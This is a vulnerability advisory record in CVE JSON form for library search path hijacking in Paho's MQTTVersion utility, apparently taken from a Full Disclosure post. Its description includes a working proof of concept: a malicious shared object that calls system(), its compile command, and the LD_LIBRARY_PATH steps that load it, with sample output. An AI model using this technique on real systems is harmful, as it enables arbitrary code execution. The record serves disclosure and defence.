GCVE-1988-2026-0174
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nuncontrolled loading of shared libraries using non-absolute paths. The\napplication invokes dlopen() with relative library names and relies on the\ndynamic loader\u2019s search path to resolve the target library. Because the\nlibrary origin is not restricted to trusted directories and no integrity or\nauthenticity checks are performed, an attacker can cause a malicious shared\nobject to be loaded and executed.This vulnerability occurs when the process\ninherits a user-controlled library search path, such as through the\nLD_LIBRARY_PATH environment variable. Under these conditions, an\nattacker-supplied shared object with a matching library name will be loaded\ninstead of the legitimate library.\n\n*Impact:*\nAn attacker can execute arbitrary code in the context of the user running\nthe MQTTVersion utility. If the utility is executed with elevated\nprivileges or within automated environments (e.g., CI/CD pipelines,\npackaging systems, or administrative scripts), this vulnerability may\nresult in full system compromise.\n\n*Affected Code:*\nvoid* APILibrary = dlopen(\"libpaho-mqtt3c.so.1\", RTLD_LAZY);\n\n*Attack Scenario:*\n\n 1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1\n in a directory they control.\n 2. The attacker modifies the runtime environment to include this\n directory in the loader search path.\n 3. When the utility is executed, the malicious library is loaded and\n attacker-controlled code executes.\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n const char* name;\n const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n system(\"echo RCE_FROM_SO\");\n static MQTTAsync_nameValue v[] = {\n {\"PWNED\", \"Function pointer executed\"},\n {NULL, NULL}\n };\n return v;\n}\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1\n\n*Exploitation:*\nexport LD_LIBRARY_PATH=$PWD\n./MQTTVersion\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nSpecify a particular library name if it is not in the current directory, or\nnot executable on this platform\n--- Trying library paho-mqtt3c ---\nRCE_FROM_SO\nPWNED: Function pointer executed\n--- Trying library paho-mqtt3cs ---\nError loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3a ---\nError loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3as ---\nError loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:\ncannot open shared object file: No such file or directory\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/4"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/4"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0174",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4",
"automated": true,
"contentSha256": "f328761ce2b86b14048d9988042bbdc244b32c0e05c5947c489184368640aa26",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/4",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:45:53Z"
}
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}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0174"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
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Sightings
| Author | Source | Type | Date | Other |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
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- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
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Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
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